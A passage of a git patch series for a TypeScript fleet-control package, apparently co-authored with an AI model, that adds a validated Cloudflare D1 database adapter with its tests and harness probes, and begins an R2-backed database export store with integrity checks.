D1FleetStateDatabase(fake.binding).query( + 'SELECT extended', + ); + + expect(result).toBe(rows); + }); + + it('discards execute rows', async () => { + const valid = fakeDatabase({ run: () => envelope([{ changed: 1 }]) }); + await expect( + new D1FleetStateDatabase(valid.binding).execute('UPDATE records'), + ).resolves.toBeUndefined(); + + const withoutResults = fakeDatabase({ + run: () => ({ success: true, meta: {} }), + }); + await expect( + new D1FleetStateDatabase(withoutResults.binding).execute( + 'UPDATE records', + ), + ).resolves.toBeUndefined(); + + const extended = fakeDatabase({ + run: () => ({ + success: true, + meta: { duration: 1, extra: true }, + results: [], + served_by: 'v3', + }), + }); + await expect( + new D1FleetStateDatabase(extended.binding).execute('UPDATE records'), + ).resolves.toBeUndefined(); + }); + + it('returns batch result sets in order and preserves an empty middle set', async () => { + const rows = [[{ id: 1 }], [], [{ id: 3 }]]; + const fake = fakeDatabase({ + batch: () => rows.map((result) => envelope(result)), + }); + + const result = await new D1FleetStateDatabase(fake.binding).batch([ + { sql: 'one', bindings: ['first'] }, + { sql: 'two' }, + { sql: 'three', bindings: ['third'] }, + ]); + + expect(result).toEqual(rows); + expect(result[0]).toBe(rows[0]); + expect(result[1]).toBe(rows[1]); + expect(result[2]).toBe(rows[2]); + expect(fake.batchStatements).toEqual([ + [ + { sql: 'one', bindings: ['first'], bound: true }, + { sql: 'two', bindings: [], bound: false }, + { sql: 'three', bindings: ['third'], bound: true }, + ], + ]); + }); + + it('resolves an empty batch without calling the binding batch method', async () => { + const fake = fakeDatabase(); + + await expect( + new D1FleetStateDatabase(fake.binding).batch([]), + ).resolves.toEqual([]); + expect(fake.batchStatements).toEqual([]); + }); + + it('refuses a batch result count that differs from the statement count', async () => { + const statements = [{ sql: 'one' }, { sql: 'two' }, { sql: 'three' }]; + const fake = fakeDatabase({ + batch: () => [envelope(), envelope()], + }); + const message = `D1 returned 2 batch results for ${statements.length} statements`; + + await expect( + new D1FleetStateDatabase(fake.binding).batch(statements), + ).rejects.toThrow(exactly(message)); + }); + + it('refuses a non-array batch response', async () => { + const fake = fakeDatabase({ batch: () => envelope() }); + + await expect( + new D1FleetStateDatabase(fake.binding).batch([{ sql: 'one' }]), + ).rejects.toThrow(exactly('D1 returned a malformed batch response')); + }); + + it('refuses malformed acknowledgements and result shapes', async () => { + const queryMessage = 'D1 query returned a malformed result'; + const executeMessage = 'D1 execute returned a malformed result'; + const malformedIndex = 1; + const batchMessage = `D1 batch statement ${malformedIndex} returned a malformed result`; + const malformedAcknowledgements: readonly unknown[] = [ + null, + 1, + [], + { success: false, meta: {}, results: [] }, + { meta: {}, results: [] }, + { success: true, error: 'failed', meta: {}, results: [] }, + { success: true, results: [] }, + { success: true, meta: null, results: [] }, + { success: true, meta: 1, results: [] }, + { success: true, meta: [], results: [] }, + ]; + + for (const malformed of malformedAcknowledgements) { + const query = fakeDatabase({ all: () => malformed }); + await expect( + new D1FleetStateDatabase(query.binding).query('SELECT malformed'), + ).rejects.toThrow(exactly(queryMessage)); + + const execute = fakeDatabase({ run: () => malformed }); + await expect( + new D1FleetStateDatabase(execute.binding).execute('UPDATE malformed'), + ).rejects.toThrow(exactly(executeMessage)); + + const batch = fakeDatabase({ + batch: () => [envelope(), malformed], + }); + await expect( + new D1FleetStateDatabase(batch.binding).batch([ + { sql: 'valid' }, + { sql: 'malformed' }, + ]), + ).rejects.toThrow(exactly(batchMessage)); + } + + const malformedResults: readonly unknown[] = [ + { success: true, meta: {} }, + { success: true, meta: {}, results: [1] }, + { success: true, meta: {}, results: [null] }, + { success: true, meta: {}, results: [[]] }, + ]; + + for (const malformed of malformedResults) { + const query = fakeDatabase({ all: () => malformed }); + await expect( + new D1FleetStateDatabase(query.binding).query('SELECT malformed'), + ).rejects.toThrow(exactly(queryMessage)); + + const batch = fakeDatabase({ + batch: () => [envelope(), malformed], + }); + await expect( + new D1FleetStateDatabase(batch.binding).batch([ + { sql: 'valid' }, + { sql: 'malformed' }, + ]), + ).rejects.toThrow(exactly(batchMessage)); + } + }); + + it('propagates prepare, bind, and binding operation failures unchanged', async () => { + const prepareError = new Error('prepare failed'); + await expect( + new D1FleetStateDatabase(fakeDatabase({ prepareError }).binding).query( + 'SELECT failed', + ), + ).rejects.toBe(prepareError); + + const bindError = new Error('bind failed'); + await expect( + new D1FleetStateDatabase(fakeDatabase({ bindError }).binding).query( + 'SELECT failed', + ['value'], + ), + ).rejects.toBe(bindError); + + const allError = new Error('all failed'); + await expect( + new D1FleetStateDatabase( + fakeDatabase({ all: () => Promise.reject(allError) }).binding, + ).query('SELECT failed'), + ).rejects.toBe(allError); + + const runError = new Error('run failed'); + await expect( + new D1FleetStateDatabase( + fakeDatabase({ run: () => Promise.reject(runError) }).binding, + ).execute('UPDATE failed'), + ).rejects.toBe(runError); + + const batchError = new Error('batch failed'); + await expect( + new D1FleetStateDatabase( + fakeDatabase({ batch: () => Promise.reject(batchError) }).binding, + ).batch([{ sql: 'failed' }]), + ).rejects.toBe(batchError); + }); + + it('requires the Workers D1 prepare and batch interface', () => { + const message = + 'D1FleetStateDatabase requires the Workers D1Database prepare/batch interface'; + expect(() => Reflect.construct(D1FleetStateDatabase, [null])).toThrow( + exactly(message), + ); + expect(() => + Reflect.construct(D1FleetStateDatabase, [{ prepare() {} }]), + ).toThrow(exactly(message)); + }); + + it('is assignable to the migration database port', () => { + const binding = fakeDatabase().binding; + const migration: MigrationDatabase = new D1FleetStateDatabase(binding); + + expect(migration).toBeInstanceOf(D1FleetStateDatabase); + }); +}); diff --git a/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts b/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts index 7fd87758..765d45a4 100644 --- a/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts +++ b/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts @@ -2,12 +2,14 @@ /// import { D1CloudflareApiRateCoordinator } from '../../src/cloudflare-rate-coordinator.js'; +import { D1FleetStateDatabase } from '../../src/d1-fleet-state-database.js'; import { canonicalDeploymentEgressPolicy, externalEgressProxyScriptName, externalStateScriptName, } from '../../src/platform-resources.js'; import { + ADDED_NULLABLE_TEXT_COLUMNS, D1FleetStateStore, type FleetStateDatabase, } from '../../src/state-store.js'; @@ -28,33 +30,6 @@ const PLATFORM_CLAIM_TABLE = 'anchorage_platform_plane_claims'; const PLATFORM_LEASE_TABLE = 'anchorage_platform_plane_leases'; const DB_NOW_MS = "CAST(unixepoch('subsec') * 1000 AS INTEGER)"; -function database(db: D1Database): FleetStateDatabase { - const statement = (sql: string, bindings: readonly unknown[]) => { - const prepared = db.prepare(sql); - return bindings.length > 0 ? prepared.bind(...bindings) : prepared; - }; - return { - async query(sql, bindings = []) { - const result = await statement(sql, bindings).all< - Readonly> - >(); - return result.results; - }, - async execute(sql, bindings = []) { - await statement(sql, bindings).run(); - }, - async batch(statements) { - const results = await db.batch( - statements.map(({ sql, bindings = [] }) => statement(sql, bindings)), - ); - return results.map( - (result) => - result.results as readonly Readonly>[], - ); - }, - }; -} - function controlledLeaseClock( db: D1Database, leaseTable: string, @@ -65,7 +40,7 @@ function controlledLeaseClock( now(): number; heartbeat: Promise; }> { - const delegate = database(db); + const delegate = new D1FleetStateDatabase(db); let now = 1_000_000; let allowHeartbeat: (() => void) | undefined; const heartbeatAllowed = new Promise((resolve) => { @@ -151,7 +126,7 @@ async function clean(db: D1Database): Promise { } async function readyStore(db: D1Database): Promise { - const store = new D1FleetStateStore(database(db), { + const store = new D1FleetStateStore(new D1FleetStateDatabase(db), { accountId: 'account-primary', }); await store.get('warm', 'test'); @@ -172,7 +147,7 @@ async function concurrentAcquisition(db: D1Database): Promise { settleLosers = resolve; }); const attempts = Array.from({ length: 16 }, () => { - const store = new D1FleetStateStore(database(db), { + const store = new D1FleetStateStore(new D1FleetStateDatabase(db), { accountId: 'account-primary', }); return store @@ -268,7 +243,7 @@ async function renewal(db: D1Database): Promise { async function takeoverAndFence(db: D1Database): Promise { const staleStore = await readyStore(db); - const winnerStore = new D1FleetStateStore(database(db), { + const winnerStore = new D1FleetStateStore(new D1FleetStateDatabase(db), { accountId: 'account-primary', }); let staleLease: FleetStateLease | undefined; @@ -441,7 +416,7 @@ async function forcedLifecycleErrors( kind: 'deployment' | 'platform', ): Promise { await readyStore(db); - const store = new D1FleetStateStore(database(db), { + const store = new D1FleetStateStore(new D1FleetStateDatabase(db), { accountId: 'account-primary', leaseTtlMs: 1_000, leaseRenewalIntervalMs: 100, @@ -575,7 +550,7 @@ async function platformClaimsAndConcurrency(db: D1Database): Promise { async function platformTakeoverAndFence(db: D1Database): Promise { const staleStore = await readyStore(db); - const winnerStore = new D1FleetStateStore(database(db), { + const winnerStore = new D1FleetStateStore(new D1FleetStateDatabase(db), { accountId: 'account-primary', }); let staleLease: PlatformPlaneLease | undefined; @@ -771,10 +746,11 @@ async function crossPlaneClaimExclusion(db: D1Database): Promise { async function atomicClaimBatch(db: D1Database): Promise { await readyStore(db); - const delegate = database(db); + const delegate = new D1FleetStateDatabase(db); let loseResponse = true; const lostResponseDatabase: FleetStateDatabase = { - ...delegate, + query: (sql, bindings) => delegate.query(sql, bindings), + execute: (sql, bindings) => delegate.execute(sql, bindings), async batch(statements) { const result = await delegate.batch(statements); if (loseResponse) { @@ -964,7 +940,7 @@ async function backendSwitchColumnUpgrade(db: D1Database): Promise { .bind(base.tenantTag, base.environment) .run(); - const upgraded = await new D1FleetStateStore(database(db), { + const upgraded = await new D1FleetStateStore(new D1FleetStateDatabase(db), { accountId: 'account-primary', }).get(base.tenantTag, base.environment); const raw = await db @@ -987,6 +963,53 @@ async function backendSwitchColumnUpgrade(db: D1Database): Promise { }; } +async function coldConcurrentSchemaInitialization( + db: D1Database, +): Promise { + const stores = Array.from( + { length: 16 }, + () => + new D1FleetStateStore(new D1FleetStateDatabase(db), { + accountId: 'account-primary', + }), + ); + const written = await Promise.all( + stores.map((store, index) => { + const tenantTag = `cold${index}`; + return store.withDeploymentLease( + tenantTag, + 'production', + async (lease) => { + await lease.put(record(tenantTag, 'production')); + return tenantTag; + }, + ); + }), + ); + const columnRows = await db + .prepare(`PRAGMA table_info(${STATE_TABLE})`) + .all<{ name: string }>(); + const tableRows = await db + .prepare( + `SELECT name FROM sqlite_master + WHERE type = 'table' AND name IN (?, ?, ?, ?) + ORDER BY name`, + ) + .bind(STATE_TABLE, LEASE_TABLE, PLATFORM_CLAIM_TABLE, PLATFORM_LEASE_TABLE) + .all<{ name: string }>(); + const row = await db + .prepare(`SELECT COUNT(*) AS count FROM ${STATE_TABLE}`) + .first<{ count: number }>(); + return { + written: [...written].sort(), + columns: ADDED_NULLABLE_TEXT_COLUMNS.filter((name) => + columnRows.results.some((column) => column.name === name), + ), + rows: Number(row?.count), + tables: tableRows.results.map(({ name }) => name), + }; +} + async function cloudflareRateCoordination(db: D1Database): Promise { await db .prepare('DROP TABLE IF EXISTS anchorage_cloudflare_api_rate_reservations') @@ -1066,6 +1089,10 @@ export default { return Response.json(await lifecycleErrors(env.DB)); case 'cloudflare-rate-coordination': return Response.json(await cloudflareRateCoordination(env.DB)); + case 'cold-concurrent-schema-initialization': + return Response.json( + await coldConcurrentSchemaInitialization(env.DB), + ); default: return Response.json({ error: 'unknown action' }, { status: 400 }); } diff --git a/packages/fleet-control/test/fixtures/migration-ledger-harness-probe.ts b/packages/fleet-control/test/fixtures/migration-ledger-harness-probe.ts index 5c4ad85d..5413abff 100644 --- a/packages/fleet-control/test/fixtures/migration-ledger-harness-probe.ts +++ b/packages/fleet-control/test/fixtures/migration-ledger-harness-probe.ts @@ -1,10 +1,8 @@ // SPDX-License-Identifier: Apache-2.0 /// -import { - applyMigrationsWithLedger, - type MigrationDatabase, -} from '../../src/migration-ledger.js'; +import { D1FleetStateDatabase } from '../../src/d1-fleet-state-database.js'; +import { applyMigrationsWithLedger } from '../../src/migration-ledger.js'; interface Env { DB: D1Database; @@ -12,26 +10,6 @@ interface Env { const LEDGER = 'anchorage_fleet_migrations'; -function database(db: D1Database): MigrationDatabase { - const statement = (sql: string, bindings: readonly unknown[]) => { - const prepared = db.prepare(sql); - return bindings.length > 0 ? prepared.bind(...bindings) : prepared; - }; - return { - async query(sql, bindings = []) { - const result = await statement(sql, bindings).all< - Readonly> - >(); - return result.results; - }, - async batch(statements) { - await db.batch( - statements.map(({ sql, bindings = [] }) => statement(sql, bindings)), - ); - }, - }; -} - function errorShape(error: unknown): { name: string; message: string } { return error instanceof Error ? { name: error.name, message: error.message } @@ -72,7 +50,7 @@ async function atomicRollback(db: D1Database): Promise { .run(); let failure: unknown; try { - await applyMigrationsWithLedger(database(db), [ + await applyMigrationsWithLedger(new D1FleetStateDatabase(db), [ { version, sql: `INSERT INTO migration_atomic_values (value) VALUES ('must-rollback')`, @@ -109,7 +87,7 @@ async function concurrentApplication(db: D1Database): Promise { }; const outcomes = await Promise.allSettled( Array.from({ length: 12 }, () => - applyMigrationsWithLedger(database(db), [migration]), + applyMigrationsWithLedger(new D1FleetStateDatabase(db), [migration]), ), ); const values = await db @@ -142,7 +120,7 @@ async function changedHistoricalSql(db: D1Database): Promise { .run(); await db.prepare(`DELETE FROM migration_history_values`).run(); await db.prepare(`DELETE FROM ${LEDGER}`).run(); - await applyMigrationsWithLedger(database(db), [ + await applyMigrationsWithLedger(new D1FleetStateDatabase(db), [ { version, sql: `INSERT INTO migration_history_values (value) VALUES ('original')`, @@ -150,7 +128,7 @@ async function changedHistoricalSql(db: D1Database): Promise { ]); let failure: unknown; try { - await applyMigrationsWithLedger(database(db), [ + await applyMigrationsWithLedger(new D1FleetStateDatabase(db), [ { version, sql: `INSERT INTO migration_history_values (value) VALUES ('changed')`, @@ -175,7 +153,7 @@ async function commitAcrossBoundary(db: D1Database): Promise { .run(); await db.prepare(`DELETE FROM migration_boundary_values`).run(); await db.prepare(`DELETE FROM ${LEDGER}`).run(); - await applyMigrationsWithLedger(database(db), [ + await applyMigrationsWithLedger(new D1FleetStateDatabase(db), [ { version, sql: `INSERT INTO migration_boundary_values (value) VALUES ('durable')`, diff --git a/packages/fleet-control/test/state-store.harness.test.ts b/packages/fleet-control/test/state-store.harness.test.ts index 84cf2943..65501679 100644 --- a/packages/fleet-control/test/state-store.harness.test.ts +++ b/packages/fleet-control/test/state-store.harness.test.ts @@ -273,4 +273,28 @@ describe.sequential('D1FleetStateStore Wrangler harness', { ), ).resolves.toEqual({ blocked: true, count: 1_100 }); }); + + it('initializes the schema under concurrent first writes on fresh D1 storage', async () => { + await server.reset(); + worker = server.getWorker(); + + await expect( + probe<{ + written: string[]; + columns: string[]; + rows: number; + tables: string[]; + }>('cold-concurrent-schema-initialization'), + ).resolves.toEqual({ + written: Array.from({ length: 16 }, (_, i) => `cold${i}`).sort(), + columns: ['backend_switch_intent', 'settled_settlement_key'], + rows: 16, + tables: [ + 'anchorage_fleet_deployments', + 'anchorage_fleet_leases', + 'anchorage_platform_plane_claims', + 'anchorage_platform_plane_leases', + ], + }); + }); }); From 9426faa17064d30759f5ddde867ae766bbbde9b4 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Fri, 28 Aug 2026 14:57:05 +0400 Subject: [PATCH 008/169] refactor(fleet-control): name the D1 adapter's shim and its validator The `execute` TypeDoc said "the shim" with no antecedent on the page. It now names workerd's D1 shim, which is checkable: in the installed @cloudflare/workerd-linux-64 binary `run()` returns the raw `_sendOrThrow('/execute', ...)` value, while `toArrayOfObjects` backfills `results` on the `all()`, `raw()`, and `batch()` paths. `validateAck` becomes `validateAcknowledgement` at its declaration and its two call sites, and the comment inside it says "acknowledgement" rather than "envelope", agreeing with the class TypeDoc and with the function it sits in. Its clause break moves to the semicolon. The Node fake test for `execute` is renamed to say that it resolves acknowledgements without results, so trimming the fixture that omits `results` no longer leaves the name true. The harness cold-start case gains a comment saying that resetting the server recreates storage and rebinds `worker`, hence its position last in the sequential block, and its callback index parameter is spelled out. Behavior is unchanged: reverting the rename textually leaves the source byte-identical to daa7ef8 apart from four comment lines, the six error messages are untouched, and dist/index.d.ts, dist/migration-ledger.d.ts, and both of their maps match the baseline build byte for byte. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01XyG1jJCrVSWfVQ3Zab15Rd --- .../fleet-control/src/d1-fleet-state-database.ts | 14 +++++++------- .../test/d1-fleet-state-database.test.ts | 2 +- .../fleet-control/test/state-store.harness.test.ts | 4 +++- 3 files changed, 11 insertions(+), 9 deletions(-) diff --git a/packages/fleet-control/src/d1-fleet-state-database.ts b/packages/fleet-control/src/d1-fleet-state-database.ts index 8ff657d7..1af5fa70 100644 --- a/packages/fleet-control/src/d1-fleet-state-database.ts +++ b/packages/fleet-control/src/d1-fleet-state-database.ts @@ -16,12 +16,12 @@ function isUnknownArray(value: unknown): value is readonly unknown[] { return Array.isArray(value); } -function validateAck( +function validateAcknowledgement( value: unknown, message: string, ): asserts value is Row & Readonly<{ success: true; meta: Row }> { - // Extra envelope and meta fields stay accepted as D1 adds fields; a defined - // `error` beside `success: true` is contradictory and refused. + // Extra acknowledgement and meta fields stay accepted as D1 adds fields; + // a defined `error` beside `success: true` is contradictory and refused. if ( !isRecord(value) || value.success !== true || @@ -40,7 +40,7 @@ function validateEnvelope( meta: Row; results: readonly Row[]; }> { - validateAck(value, message); + validateAcknowledgement(value, message); if (!isUnknownArray(value.results) || !value.results.every(isRecord)) { throw new Error(message); } @@ -80,12 +80,12 @@ export class D1FleetStateDatabase implements FleetStateDatabase { } /** - * Validates the acknowledgement because the shim does not backfill - * `results` for `run()`, and this method does not read rows. + * Validates the acknowledgement because workerd's D1 shim does not + * backfill `results` for `run()`, and this method does not read rows. */ async execute(sql: string, bindings: readonly unknown[] = []): Promise { const envelope: unknown = await this.#statement(sql, bindings).run(); - validateAck(envelope, 'D1 execute returned a malformed result'); + validateAcknowledgement(envelope, 'D1 execute returned a malformed result'); } async batch( diff --git a/packages/fleet-control/test/d1-fleet-state-database.test.ts b/packages/fleet-control/test/d1-fleet-state-database.test.ts index 77d8796c..dbe83a5b 100644 --- a/packages/fleet-control/test/d1-fleet-state-database.test.ts +++ b/packages/fleet-control/test/d1-fleet-state-database.test.ts @@ -151,7 +151,7 @@ describe('D1FleetStateDatabase', () => { expect(result).toBe(rows); }); - it('discards execute rows', async () => { + it('resolves execute acknowledgements without results and discards rows', async () => { const valid = fakeDatabase({ run: () => envelope([{ changed: 1 }]) }); await expect( new D1FleetStateDatabase(valid.binding).execute('UPDATE records'), diff --git a/packages/fleet-control/test/state-store.harness.test.ts b/packages/fleet-control/test/state-store.harness.test.ts index 65501679..a3609f28 100644 --- a/packages/fleet-control/test/state-store.harness.test.ts +++ b/packages/fleet-control/test/state-store.harness.test.ts @@ -274,6 +274,8 @@ describe.sequential('D1FleetStateStore Wrangler harness', { ).resolves.toEqual({ blocked: true, count: 1_100 }); }); + // Resetting the server recreates storage and rebinds `worker`, so this + // case stays last. it('initializes the schema under concurrent first writes on fresh D1 storage', async () => { await server.reset(); worker = server.getWorker(); @@ -286,7 +288,7 @@ describe.sequential('D1FleetStateStore Wrangler harness', { tables: string[]; }>('cold-concurrent-schema-initialization'), ).resolves.toEqual({ - written: Array.from({ length: 16 }, (_, i) => `cold${i}`).sort(), + written: Array.from({ length: 16 }, (_, index) => `cold${index}`).sort(), columns: ['backend_switch_intent', 'settled_settlement_key'], rows: 16, tables: [ From c49cec3ad572277c8e6b0d1511293c7e2e38efbb Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Fri, 28 Aug 2026 21:39:15 +0400 Subject: [PATCH 009/169] feat(fleet-control): stream database exports into R2 with a proven commit Move the `DurableDatabaseExportStore` contract into its own leaf so a Worker-facing store never reaches the Cloudflare client, and move the portable-segment check into `export-file-name.ts` so both stores share one validator and one message. `FileSystemDatabaseExportStore` keeps its behavior and its message byte for byte. `R2DatabaseExportStore` streams an export into R2 under an integrity contract: a `FixedLengthStream` body behind a conditional put that cannot overwrite, SHA-256 taken over an R2 readback rather than over the upload, a per-attempt UUID key, cleanup only after a put that fulfilled with an object, and a refusal for a body that is already locked. A missing `contentLength` fails closed ahead of the upload, so a direct D1 download without a usable `Content-Length` leaves the database undeleted. Tests: Node `DigestStream`/`FixedLengthStream` fakes and a structural R2 bucket cover the state machine, and a Wrangler harness drives the store against real miniflare R2 for a 1 MiB round trip, an empty and a short refusal, and a conditional collision. Also reflows one carried comment in `test/state-store.harness.test.ts`. `dist/index.d.ts` is byte-identical, so there is no changeset; the new modules are exported in a later change. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01XyG1jJCrVSWfVQ3Zab15Rd --- packages/fleet-control/CLAUDE.md | 2 +- .../fleet-control/src/cloudflare-client.ts | 14 +- .../src/database-export-store.ts | 14 + .../fleet-control/src/export-file-name.ts | 18 + packages/fleet-control/src/export-store.ts | 16 +- packages/fleet-control/src/r2-export-store.ts | 307 ++++++ .../src/wrangler-loop-backend.ts | 2 +- .../wrangler-plain-worker-provisioning-api.ts | 2 +- .../test/fixtures/r2-export-harness-probe.ts | 213 ++++ .../test/fixtures/worker-streams.ts | 92 ++ .../test/r2-export-store.harness.test.ts | 111 ++ .../test/r2-export-store.test.ts | 963 ++++++++++++++++++ .../test/state-store.harness.test.ts | 4 +- 13 files changed, 1727 insertions(+), 31 deletions(-) create mode 100644 packages/fleet-control/src/database-export-store.ts create mode 100644 packages/fleet-control/src/export-file-name.ts create mode 100644 packages/fleet-control/src/r2-export-store.ts create mode 100644 packages/fleet-control/test/fixtures/r2-export-harness-probe.ts create mode 100644 packages/fleet-control/test/fixtures/worker-streams.ts create mode 100644 packages/fleet-control/test/r2-export-store.harness.test.ts create mode 100644 packages/fleet-control/test/r2-export-store.test.ts diff --git a/packages/fleet-control/CLAUDE.md b/packages/fleet-control/CLAUDE.md index 47b112d0..56193275 100644 --- a/packages/fleet-control/CLAUDE.md +++ b/packages/fleet-control/CLAUDE.md @@ -16,7 +16,7 @@ Source map: - `provision.ts`, `backend-switch.ts`, `fleet.ts`: deployment lifecycle state machines - `workers-for-platforms-backend.ts`, `plain-worker-backend.ts`, `wrangler-loop-backend.ts`, `cloudflare-api-plain-worker-backend.ts`: provisioning backends (the Workers for Platforms backend, the shared ordinary-Worker core, and its Wrangler and direct-API adapters) - `cloudflare-client.ts`, `cloudflare-ordinary-worker-operations.ts`, `cloudflare-provider-errors.ts`, `cloudflare-rate-coordinator.ts`: provider API (the client, the ordinary-Worker operations behind it, the SDK-error helpers) and its shared quota fence -- `state-store.ts`, `migration-ledger.ts`, `d1-fleet-state-database.ts`, `export-store.ts`: durable fleet state (`d1-fleet-state-database.ts` adapts a Workers D1 binding to the state store's database port) +- `state-store.ts`, `migration-ledger.ts`, `d1-fleet-state-database.ts`, `database-export-store.ts`, `export-file-name.ts`, `export-store.ts`, `r2-export-store.ts`: durable fleet state (`d1-fleet-state-database.ts` adapts a Workers D1 binding to the state store's database port; `database-export-store.ts` declares `DurableDatabaseExportStore`, which `export-store.ts` implements over the filesystem and `r2-export-store.ts` over an R2 binding; `export-file-name.ts` holds the portable-segment check both stores use) - `workers/`: the platform's own deployed Workers, published as separate export entries ```bash diff --git a/packages/fleet-control/src/cloudflare-client.ts b/packages/fleet-control/src/cloudflare-client.ts index a3ec808e..3862131f 100644 --- a/packages/fleet-control/src/cloudflare-client.ts +++ b/packages/fleet-control/src/cloudflare-client.ts @@ -41,6 +41,7 @@ import { sanitizedErrorName, } from './cloudflare-provider-errors.js'; import type { CloudflareApiRateCoordinator } from './cloudflare-rate-coordinator.js'; +import type { DurableDatabaseExportStore } from './database-export-store.js'; import { type HostRoutingTarget, parseHostRoutingTarget, @@ -115,18 +116,7 @@ export class CloudflarePlaneCapabilityError extends Error { } } -export interface DurableDatabaseExportStore { - write(input: { - readonly databaseId: string; - readonly fileName: string; - readonly body: ReadableStream; - readonly contentLength?: number; - }): Promise<{ - readonly location: string; - readonly size: number; - readonly sha256: string; - }>; -} +export type { DurableDatabaseExportStore } from './database-export-store.js'; export interface ControlWorkerSpec { readonly scriptName: string; diff --git a/packages/fleet-control/src/database-export-store.ts b/packages/fleet-control/src/database-export-store.ts new file mode 100644 index 00000000..c74bda52 --- /dev/null +++ b/packages/fleet-control/src/database-export-store.ts @@ -0,0 +1,14 @@ +// SPDX-License-Identifier: Apache-2.0 + +export interface DurableDatabaseExportStore { + write(input: { + readonly databaseId: string; + readonly fileName: string; + readonly body: ReadableStream; + readonly contentLength?: number; + }): Promise<{ + readonly location: string; + readonly size: number; + readonly sha256: string; + }>; +} diff --git a/packages/fleet-control/src/export-file-name.ts b/packages/fleet-control/src/export-file-name.ts new file mode 100644 index 00000000..85e68fc0 --- /dev/null +++ b/packages/fleet-control/src/export-file-name.ts @@ -0,0 +1,18 @@ +// SPDX-License-Identifier: Apache-2.0 + +const FILE_NAME_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._-]*$/; +const WINDOWS_DEVICE_NAME = /^(CON|PRN|AUX|NUL|COM[1-9]|LPT[1-9])(?:\.|$)/i; + +export function isPortablePathSegment(value: string): boolean { + return ( + FILE_NAME_PATTERN.test(value) && + !value.endsWith('.') && + !WINDOWS_DEVICE_NAME.test(value) + ); +} + +export function assertFileName(fileName: string): void { + if (!isPortablePathSegment(fileName)) { + throw new Error('export fileName must be one portable path segment'); + } +} diff --git a/packages/fleet-control/src/export-store.ts b/packages/fleet-control/src/export-store.ts index b73c4b27..a065e637 100644 --- a/packages/fleet-control/src/export-store.ts +++ b/packages/fleet-control/src/export-store.ts @@ -4,20 +4,8 @@ import { createHash, randomUUID } from 'node:crypto'; import { mkdir, open, realpath, rename, rm } from 'node:fs/promises'; import { dirname, join, resolve } from 'node:path'; import { pathToFileURL } from 'node:url'; -import type { DurableDatabaseExportStore } from './cloudflare-client.js'; - -const FILE_NAME_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._-]*$/; -const WINDOWS_DEVICE_NAME = /^(CON|PRN|AUX|NUL|COM[1-9]|LPT[1-9])(?:\.|$)/i; - -function assertFileName(fileName: string): void { - if ( - !FILE_NAME_PATTERN.test(fileName) || - fileName.endsWith('.') || - WINDOWS_DEVICE_NAME.test(fileName) - ) { - throw new Error('export fileName must be one portable path segment'); - } -} +import type { DurableDatabaseExportStore } from './database-export-store.js'; +import { assertFileName } from './export-file-name.js'; async function writeChunk( file: Awaited>, diff --git a/packages/fleet-control/src/r2-export-store.ts b/packages/fleet-control/src/r2-export-store.ts new file mode 100644 index 00000000..067930b9 --- /dev/null +++ b/packages/fleet-control/src/r2-export-store.ts @@ -0,0 +1,307 @@ +// SPDX-License-Identifier: Apache-2.0 + +import type { + R2Bucket, + ReadableStream as WorkerReadableStream, + WritableStream as WorkerWritableStream, +} from '@cloudflare/workers-types'; +import type { DurableDatabaseExportStore } from './database-export-store.js'; +import { assertFileName, isPortablePathSegment } from './export-file-name.js'; + +export type DigestStreamConstructor = new ( + algorithm: 'SHA-256', +) => WorkerWritableStream & { + readonly digest: Promise; + readonly bytesWritten: number | bigint; +}; + +export type FixedLengthStreamConstructor = new ( + expectedLength: number, +) => { + readonly readable: WorkerReadableStream; + readonly writable: WorkerWritableStream; +}; + +export interface R2DatabaseExportStoreStreamPrimitives { + readonly DigestStream: DigestStreamConstructor; + readonly FixedLengthStream: FixedLengthStreamConstructor; +} + +export interface R2DatabaseExportStoreOptions { + readonly bucket: R2Bucket; + /** A portable segment used to identify the bucket in returned locations. */ + readonly bucketName: string; + /** Empty, or portable segments ending in `/`, such as `exports/`. */ + readonly keyPrefix?: string; + /** + * Worker stream constructors; a Worker passes + * `{ DigestStream: crypto.DigestStream, FixedLengthStream }`. + */ + readonly streams: R2DatabaseExportStoreStreamPrimitives; + /** UUID source; a Worker passes `() => crypto.randomUUID()`. */ + readonly randomUUID: () => string; +} + +interface PreparedUpload { + readonly key: string; + readonly contentLength: number; + readonly fixed: { + readonly readable: WorkerReadableStream; + readonly writable: WorkerWritableStream; + }; +} + +/** + * Streams a database export into R2 and hashes an R2 readback. + * + * A signed direct download supplies `contentLength` when its response exposes a + * usable `Content-Length`. Absence fails closed prior to an R2 upload and keeps + * the database from being deleted. The Wrangler path supplies the scratch + * file's size. R2 receives a single-part put backed by `FixedLengthStream`; + * multipart exports are unsupported. + * + * A write attempt mints a UUID key. Cleanup after a committed-object failure + * removes that key. A cleanup failure, rejected put, or conditional collision + * can leave an orphan below the database prefix without blocking a retry. + * `write()` is not idempotent. + * + * A failure after the put settles aborts the body pipe. When the body is a + * `tee()` branch, that abort stays pending until the tee source is + * exhausted or the other branch is cancelled. + */ +export class R2DatabaseExportStore implements DurableDatabaseExportStore { + readonly #bucket: R2Bucket; + readonly #bucketName: string; + readonly #keyPrefix: string; + readonly #DigestStream: DigestStreamConstructor; + readonly #FixedLengthStream: FixedLengthStreamConstructor; + readonly #randomUUID: () => string; + + constructor(options: R2DatabaseExportStoreOptions) { + if ( + typeof options.bucket?.put !== 'function' || + typeof options.bucket.get !== 'function' || + typeof options.bucket.delete !== 'function' + ) { + throw new Error( + 'R2DatabaseExportStore requires the Workers R2Bucket put/get/delete interface', + ); + } + if ( + typeof options.streams?.DigestStream !== 'function' || + typeof options.streams.FixedLengthStream !== 'function' + ) { + throw new Error( + 'R2DatabaseExportStore requires the Workers DigestStream and FixedLengthStream constructors', + ); + } + if (typeof options.randomUUID !== 'function') { + throw new Error('R2DatabaseExportStore requires a randomUUID function'); + } + if (!isPortablePathSegment(options.bucketName)) { + throw new Error('R2 export bucketName must be one portable path segment'); + } + if (!isKeyPrefix(options.keyPrefix)) { + throw new Error( + 'R2 export keyPrefix must be portable path segments each followed by /', + ); + } + 